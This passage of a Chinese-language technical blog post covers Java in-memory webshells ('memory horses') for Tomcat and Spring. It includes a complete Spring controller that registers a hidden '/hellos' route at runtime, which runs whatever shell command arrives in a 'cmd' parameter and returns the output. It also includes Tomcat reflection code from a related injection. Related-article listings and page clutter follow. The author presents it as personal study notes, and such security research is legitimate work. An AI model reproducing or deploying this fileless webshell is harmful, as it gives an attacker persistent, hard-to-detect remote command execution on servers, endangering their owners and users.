                while ((readSize = in.read(bcache)) != -1) {
                    outputStream.write(bcache, 0, readSize);
                }
                response.getWriter().println(outputStream.toString());
            }
        }
    }

    @Override
    public void destroy() {
    }
    public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    }
}

具体代码可以看我的github: https://github.com/x-j-j/learning-anything/tree/master/learning-hack/hack-apache/hack-tomcat/memory-uses,或者你去看天下大木头的博客链接在最下方,但是他写的有点复杂,不需要两步执行。
我写的一个controller,访问端口是inject,doGet逻辑是反序列化。

为什么要费大劲画逻辑图?为了过了很久以后,一下子就能回忆起来,这个是个什么东西。
最后的成功截图
image.png

其他获取request方式

只是一个探索,不感兴趣的可以直接跳过。但是,既然我们要精通内存马,这一步则是必不可少的。
下面的代码部分是我自己根据思路来的,其实几年前有人已经研究出了半自动化搜索request的代码,见更下方。

自己探索
我们主要是通过request拿到我们的context,CoyoteAdapter的确可以直接创建一个请求,我们反射获取其connector,然后执行如下代码
request = this.connector.createRequest();
但是并没有context,context是后面赋值的。可以试着找一下StandardContext是在哪里赋值的,在构造函数打断点,我们找到context初始化的部分

调用链如下
ServletWebServerApplicationContext.onRfresh()
ServletWebServerApplicationContext.createWebServer()
TomcatServletWebServerFactory.getWebServer()

public WebServer getWebServer(ServletContextInitializer... initializers) {
    Tomcat tomcat = new Tomcat();
    File baseDir = this.baseDirectory != null ? this.baseDirectory : this.createTempDir("tomcat");
    tomcat.setBaseDir(baseDir.getAbsolutePath());
    Connector connector = new Connector(this.protocol);
    tomcat.getService().addConnector(connector);
    this.customizeConnector(connector);
    tomcat.setConnector(connector);
    tomcat.getHost().setAutoDeploy(false);
    this.configureEngine(tomcat.getEngine());
    Iterator var5 = this.additionalTomcatConnectors.iterator();

    while(var5.hasNext()) {
        Connector additionalConnector = (Connector)var5.next();
        tomcat.getService().addConnector(additionalConnector);
    }

  	// 这块初始化context
    this.prepareContext(tomcat.getHost(), initializers);
    return this.getTomcatWebServer(tomcat);
}

在哪里给request赋值的呢?最终在CoyoteAdapter的service方法里找到全部的逻辑,在postParseRequest方法中设置。也就是说我们至少要在这个方法之后的request才能反射出来context。

@Override
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res)
        throws Exception {

    Request request = (Request) req.getNote(ADAPTER_NOTES);
    Response response = (Response) res.getNote(ADAPTER_NOTES);

    if (request == null) {
        // Create objects
        request = connector.createRequest();
        request.setCoyoteRequest(req);
        response = connector.createResponse();
        response.setCoyoteResponse(res);

        // Link objects
        request.setResponse(response);
        response.setRequest(request);

        // Set as notes
        req.setNote(ADAPTER_NOTES, request);
        res.setNote(ADAPTER_NOTES, response);

        // Set query string encoding
        req.getParameters().setQueryStringCharset(connector.getURICharset());
    }

    if (connector.getXpoweredBy()) {
        response.addHeader("X-Powered-By", POWERED_BY);
    }

    boolean async = false;
    boolean postParseSuccess = false;

    req.getRequestProcessor().setWorkerThreadName(THREAD_NAME.get());

    try {
        // Parse and set Catalina and configuration specific
        // request parameters
      	// 这里设置context
        postParseSuccess = postParseRequest(req, request, res, response);
        if (postParseSuccess) {
            //check valves if we support async
            request.setAsyncSupported(
                    connector.getService().getContainer().getPipeline().isAsyncSupported());
            // Calling the container
            connector.getService().getContainer().getPipeline().getFirst().invoke(
                    request, response);
        }
...

其他人的项目
找到一个项目https://github.com/c0ny1/java-object-searcher/可以用来搜索request
还有文章:半自动化挖掘request实现多种中间件回显
之后再研究吧

spring/nacos/rocketmq等中间件的内存马

spring内存马

package com.xjjlearning.hack.tomcat.memoryhorse.memoryhorse.springhorse;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;


@Controller
public class NoshellController {

    @ResponseBody
    @RequestMapping("/noshells")
    public void noshell(HttpServletRequest request, HttpServletResponse response) throws Exception {

        // 获取Context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 通过反射获得恶意类的test方法
        Method method = Evil.class.getMethod("test");
        // 定义该controller的path
        PatternsRequestCondition url = new PatternsRequestCondition("/hellos");
        // 定义允许访问的HTTP方法
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 构造注册信息
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
//        RequestMappingInfo info = RequestMappingInfo.paths(String.valueOf(url))
//                .methods(ms)
//                .options(null)
//                .build();
        // 创建用于处理请求的对象,避免无限循环使用一个构造方法
        Evil injectToController = new Evil("xxx");
        // 将该controller注册到Spring容器
        mappingHandlerMapping.registerMapping(info, injectToController, method);
        System.out.println("测试xxxxxx");
        response.getWriter().println("inject success");
    }

    public class Evil {
        public Evil(String xxx) {
        }

        public void test() throws Exception {

            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
            String command = request.getParameter("cmd");
            if (command != null) {
                try {
                    java.io.PrintWriter printWriter = response.getWriter();
                    String o = "";
                    ProcessBuilder p;
                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                        p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
                    } else {
                        p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
                    }
                    java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                    o = c.hasNext() ? c.next() : o;
                    c.close();
                    printWriter.write(o);
                    printWriter.flush();
                    printWriter.close();
                } catch (Exception ignored) {

                }
            }
        }
    }

}

跳过,不写了,拜拜

最后

上面的都是21年之前的东西了,现在是23年7月,显然已经过去了两年半,这两年半里还有很多技术的更新。不过技术更新应该也是针对Tomcat不同版本的增加。关于内存马的利用,也延伸到了其他组件,还有其他组件的漏洞复现分析要去看。
如果你比较迷茫,我个人建议可以从认知提升入手,看一些个人成长的书,这个会全面优化你的这个人,包括如何提升效率,怎么样的学习方法,大脑结构行为习惯等等。也可以通过大量阅读其他书籍来提升理解力和抓重点的能力,包括可以读一些心理学,政治哲学,传记,历史等等,重点在快速阅读找到结构这方面练习。
等你能力稍微提升了,我觉得再去看代码应该就有自己的思考了。
好,拜拜。

引用

《Tomcat深入剖析》
认识 Tomcat 连接器组件 Coyote
一文看懂内存马
tomcat动态注册内存马
Tomcat 内存马学习(二):结合反序列化注入内存马 – 天下大木头
中间件内存马注入&冰蝎连接(附更改部分代码)

java内存马原理和检测方法 内存马为现在的主流webshell技术之一, 一般存在于JAVA环境, ASPX环境也有内存马,但是PHP没有(有不死马,类似条件竞争)内存马主要用途是做权限维持,特点是无文件,代码保存在内存中,导致值守人员不太好进行排查。 阅读详情

相关推荐

《深入浅出AUTOSAR OS》之内存保护

内存保护 1 背景与基本原理 内存保护(Memory protection)只能在为内存保护提供硬件支持的处理器上实现。比如硬件上MPU(MemoryProtectionUnits)功能的芯片。 内存保护方案基于可执行程序的(data、code和stack)区域。 Stack: 一个OS-Application由若干个对象(Task和ISR)组成,根据定义,栈(Stack)是只属于这些对象(Object)自己...

andyzhao00的专栏 7475

浅析JavaWeb内存马基础原理与查杀思路

传统的 Webshell 后门很容易被当前 WAF、HIDS、EDR 等安全设备检测出来,于是无文件落地的内存马技术得以诞生并快速发展。本文简要分析了Java内存马的原理、分类,并实践了主流Webshell客户端管理工具内存马的使用与当前应对内存马的一些查杀思路、手段。

道阻且长,行则将至 8833

深入浅出:操作系统之虚拟内存

1.虚拟内存 1.内存存在的问题 1.内存不足 2.内存碎片化 3.程序间互相修改内存 2.什么是虚拟内存 3.如何实现虚拟内存 4.虚拟内存与缓存 2.内存的3个问题:如果所有程序可以直接访问相同的内存空间 1.假如内存不足会怎么样?(对于一台32位系统来说,可以使用的内存有:2^32 bytes = 4GB) 1.内存不足,超出内存空间会导致崩溃(crash)(例如32位系统,只有1GB RAM) 2.内存碎片化:如果连续分配内存,程序可能找不到合适的空间(run out of space),即使有空间

kelvin_feng的专栏 4493

学习了解内存马,看这篇就够了!(精华版)_什么是内存马

内存马,也被称为无文件马,是无文件攻击的一种常用手段。虽然由来已久,但是在此之前并未“大红大紫”。近年来盛行于攻防演练之中,攻防演练从2016年的几家参演单位,到2020年扩充到了几百家参演单位,内存马也越来越多的被提起,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。内存马是无文件攻击的一种技术手段,那我们不得不先简单介绍一下无文件攻击。

jennycisp的博客 2645

内存Webshell马详解

内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到。因此内存马近年来越来越被重视,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。

悦分享 5208

深入浅出:Python内存管理机制

python采用自动内存管理机制:又叫垃圾回收器(garbage collector,gc)。负责定期地扫描并自动回收不再使用的内存和对象,使得开发者可以专注于程序逻辑,而不必担心内存管理问题。

📷 图像处理践行者 | 传统算法 · 深度学习 · 多模态 | 分享实战经验与技术洞见,探索从像素到智能的无限可能。 6106

深入浅出内存马(一)

深入浅出内存马(一) 0x01 简述 0x0101 Webshell技术历程 在Web安全领域,Webshell一直是一个非常重要且热门的话题。在目前传统安全领域,Webshell根据功能的不同分为三种类型,分别是:一句话木马,小马,大马。而根据现在防火墙技术的更新迭代,随后出现了加密的木马技术,比如:加密一句话。而我们今天要说的是一种新的无文件的Webshell类型:内存马。 0x0102 为什么会使用内存马? 传统Webshell连接方式,都是先通过某种漏洞将恶意的脚本木马文件上传,然后通过中国菜刀,或

风炫的博客 1650

Cadence Allegro 17.4 保姆级教程:PCB位号重排与反标回原理图完整避坑指南

本文详细解析了Cadence Allegro 17.4中PCB位号重排与反标回原理图的全流程,包括安全工程准备、智能重排策略和反标黄金法则。特别针对芯片封装协同设计(Co-Design)场景,提供可追溯的版本管理和故障恢复方案,帮助工程师避免常见位号陷阱,确保设计文件一致性。

weixin_30613433的博客 442

【内存泄漏和内存溢出】JavaScript之深入浅出理解内存泄漏和内存溢出

???? 博客首页:✎﹏ℳ๓敬坤的博客 ???? ???? 我只是一个代码的搬运工 ???? ???? 欢迎来访的读者关注、点赞和收藏 ???? ???? 有问题可以私信交流 ???? ???? 文章标题:JavaScript之深入浅出理解内存泄漏和内存溢出 ???? 目录内存泄漏和内存溢出什么是内存内存泄漏和内存溢出内存溢出内存泄漏总结 内存泄漏和内存溢出 了解内存泄露和内存溢出之前,我们得知道什么是内存!下面就会详细讲解什么内存 什么是内存 内存(Memory)是计算机的重要部件之一,也称内存储器和

抚首 2803

自动驾驶技术路线之争:纯视觉与多模态融合的成本与性能博弈

本文深入剖析了自动驾驶领域两大主流技术路线——纯视觉与多模态融合的本质差异。文章从成本结构、性能博弈与商业逻辑等多维度展开,揭示了纯视觉方案在硬件成本与数据算力投入上的权衡,以及多模态融合方案在安全冗余与感知稳定性方面的优势。这场技术路线之争,实则是车企在性能、成本与商业化落地之间寻求平衡的综合博弈。

weixin_29038303的博客 391

【全网最全最详细】智能体提示词prompt教程

定义:提示词是用户输入给AI模型(如ChatGPT、MidJourney等)的指令或问题,用于引导模型生成特定类型的输出。它是用户与AI交互的核心媒介。作用:提示词的质量直接影响AI输出的准确性和相关性。好的提示词能明确任务边界、减少歧义,并激发模型的创造力。提示词就是“给AI下指令的说明书”——越清楚、越具体,AI干得越好!帮你更快、更准地拿到想要的结果,不用和AI“猜谜语”。

qq_38196449的博客 8233

深入浅出C语言内存函数

本文介绍了C语言中memcpy、memmove、memset和memcmp四个内存操作函数的使用与实现。

一枚菜鸟程序员的飞行之路 6674

从软体机器人到鞋垫分析:Abaqus超弹性材料(Ogden模型)仿真配置全流程

本文详细介绍了Abaqus中Ogden模型在超弹性材料仿真中的应用全流程,涵盖从实验数据导入、参数拟合到模型构建与求解优化的关键步骤。特别针对鞋垫分析等生物力学场景,提供了单元选择、接触设置和并行计算等实用技巧,帮助工程师实现高精度仿真分析。

weixin_42525385的博客 400

深入浅出NodeJS——内存控制

V8虚拟机的内存回收机制,和Java虚拟机类似采用分代回收机制,分为新生代和老生代,当满足一定条件新生代对象会晋级到老生代。利用Node在服务端编程要小心内存泄露问题,一个小的泄露由于大量并发访问可能会导致应用程序的崩溃。

changer328的专栏 6302

Python与西门子PLC数据交互实战:基于Snap7的跨平台工业通信指南

本文详细介绍了如何使用Python和Snap7库实现与西门子PLC的数据交互。内容涵盖跨平台环境搭建、连接参数配置、数据读写实战及性能优化技巧,为工业自动化、数据采集和智能制造场景提供了一套轻量、灵活且高效的通信解决方案。

vim8coder的博客 292

PCL 动态半径滤波【2025最新版】

使用PCL实现的2022年最新SCI论文——【Design of Dust-Filtering Algorithms for LiDAR Sensors Using Intensity and Range Information in Off-Road Vehicles】 一文中提出用于自动驾驶点云剔除粉尘、雨雪等影响因素导致的噪声点滤波算法。

点云侠的博客 1475

深入浅出再谈Unity内存泄漏

作者:Arthuryu,腾讯高级开发工程师 内存自古乃程序员必争之地!如何做好Unity环境下内存泄漏的定位和修复是Unity游戏热潮下必须做好的事情。

wetest_tencent的博客 1万+

YOLOv8改进 | Conv篇 | DWRSeg扩张式残差助力小目标检测 (附修改后的C2f+Bottleneck)

本文内容给大家带来的DWRSeg中的DWR模块来改进YOLOv8中的C2f和Bottleneck模块,主要针对的是小目标检测,主要创新点可以总结如下:多尺度特征提取机制的深入研究和创新的DWR模块和SIR模块的提出这种方法使得网络能够更灵活地适应不同尺度的特征,从而更准确地识别和分割图像中的物体。通过本文你能够了解到DWRSeg的基本原理和框架,并且能够在你自己的网络结构中进行添加(DWRSeg需要增加一定的计算量一个DWR模块大概增加0.4GFLOPs)。

Snu77的博客 9578

深入浅出JVM内存结构:从面试高频考点到内存泄漏全解析

主要介绍JVM内存结构

qq_45438032的博客 1485

【第2章】ComfyUI安装(配置要求/一键安装/快速上手/生成第一张图)ComfyUI基础入门教程

ComfyUI安装教程,内容涵盖:电脑配置要求、安装方式、软件&插件升级方式、打开ComfyUI、生成第一张AI图片...

聚梦小课堂 1万+

贝叶斯统计 [韦来生编]

贝叶斯(Bayes)统计是近几十年来迅速发展起来的数理统计的一个重要分支。贝叶斯方法与经典统计方法的主要不同之处是进行统计推断时除了利用样本信息外,还要利用参数的先验信息,因此可以提高统计推断或统计决策的效果。它在经济、金融、生物、医学、自然科学和社会科学等许多领域具有广泛的应用。贝叶斯方法的研究已渗透到了统计学的几乎所有领域。作者在给中国科学技术大学概率论与数理统计专业本科生开设的“数理统计”课程中有一章专门讲授“贝叶斯方法和统计决策理论”,近十年来也给中国科学技术大学概率统计专业研究生开设过几次“贝叶斯分析”课。本书是在对过去讲稿的内容作了适当的增减和调整的基础上完成的。  本书共分六章。第1章是绪论,介绍了贝叶斯统计的若干基本概念,同时对必要的数理统计的基础知识有重点地作了回顾。第二章介绍了确定先验分布的若干可供选择的方法。第三章介绍了几类常见统计模型参数的后验分布的主要结果和计算方法。第四章和第五章分别介绍了“贝叶斯统计推断”和“贝叶斯统计决策”的内容。第六章介绍了贝叶斯统计计算的若干方法,包括蒙特卡洛方法和马尔可夫链蒙特卡洛(MCMC)方法以及相关统计软件的简介。本书的每一章附右大量的例题和习题,书末附有常用的几个表格和部分习题解答供读者查用。  大约可在54学时内讲授本书的第1章至第六章的主要内容,教师可根据学时需要选讲本书第1章至第六章的部分内容。书中标“*”号的章节可略去不讲,留给读者作为阅读材料。第六章例题中的R代码和部分例题的数据文件等可从作者个人主页下载。  作者在编写本书的过程中参考了J.O.Berger教授的《统计决策论及贝叶斯分析》和茆诗松教授编写的《贝叶斯统计》等书中的一些内容,以及《贝叶斯分析》一书中由张伟平博士编写的有关贝叶斯统计计算的一些内容。在此表示衷心感谢。  本书编写准备过程中,中国科学技术大学统计与金融系的几个研究生帮助完成了本书部分中文的录入和排版,作者对他们的辛勤工作表示真诚的感谢。高等教育出版社为本书的出版给予了大力支持。在此一并致谢。

深入浅出内存管理-内存初始化

深入浅出内存管理-内存初始化

chuck_huang的专栏 318

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

深入浅出虚拟内存

通过/proc文件系统探究虚拟内存大家好!今天的文章讲的是如何通过/proc文件系统找到正在运行的进程的字符串所在的虚拟内存地址,并通过更改此内存地址的内容来更改字符串内容,闲言少叙,进...

程序员小灰的博客 632

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

深入浅出C++ ——内存管理

new / delete 和 malloc / free在申请自定义类型的空间时,最大区别是 new / delete对于自定义类型除了开空间还会调用构造函数和析构函数,可以说new / delete 是为自定义类型准备的。//1、堆上申请空间 2、调用析构函数初始化 A * p1 = new A;//1、调用析构函数清理对象中资源 2、释放空间 delete p1;delete p2;C++中如果是申请内置类型对象或数组,malloc和new没什么区别。如果是自定义类型。

weixin_55051736的博客 593

深入浅出rust内存对齐

在这个例子中,`AlignedStruct` 使用默认对齐,`u8`、`u32` 和 `u64` 会根据它们的大小自然对齐。由于 `a` 是 `u8` 类型,它后面会有 3 字节的填充,以确保 `b` 是 8 字节对齐的。例如,`u32`、`i32`、`f32` 和指针类型对齐到 4 字节边界;- 由于 `address`、`size` 与 `alignment` 之间存在倍数关系,程序对内存空间的利用会出现冗余与浪费,这些被浪费掉的部分被称为对齐填充 `alignment padding`。

qq_27632921的博客 1320

深入浅出JVM-内存模型

深入浅出-JVM内存模型原文转载总图程序计数寄存器Java虚拟机栈(JVM Stack)定义特点本地方法栈(Native Method Stack)Java堆(Java Heap)定义特点方法区定义特性可能抛出的异常直接内存(Direct Memory)Metaspace (元空间)元空间特色GC元空间内存分配模型从GC角度看Java堆JVM关闭 原文转载 https://www.nowcoder...

weixin_44729417的博客 1501
上一篇: 小米java开发面经2022(3面offer)
小健健健
博客等级 码龄8年 101粉丝 68原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值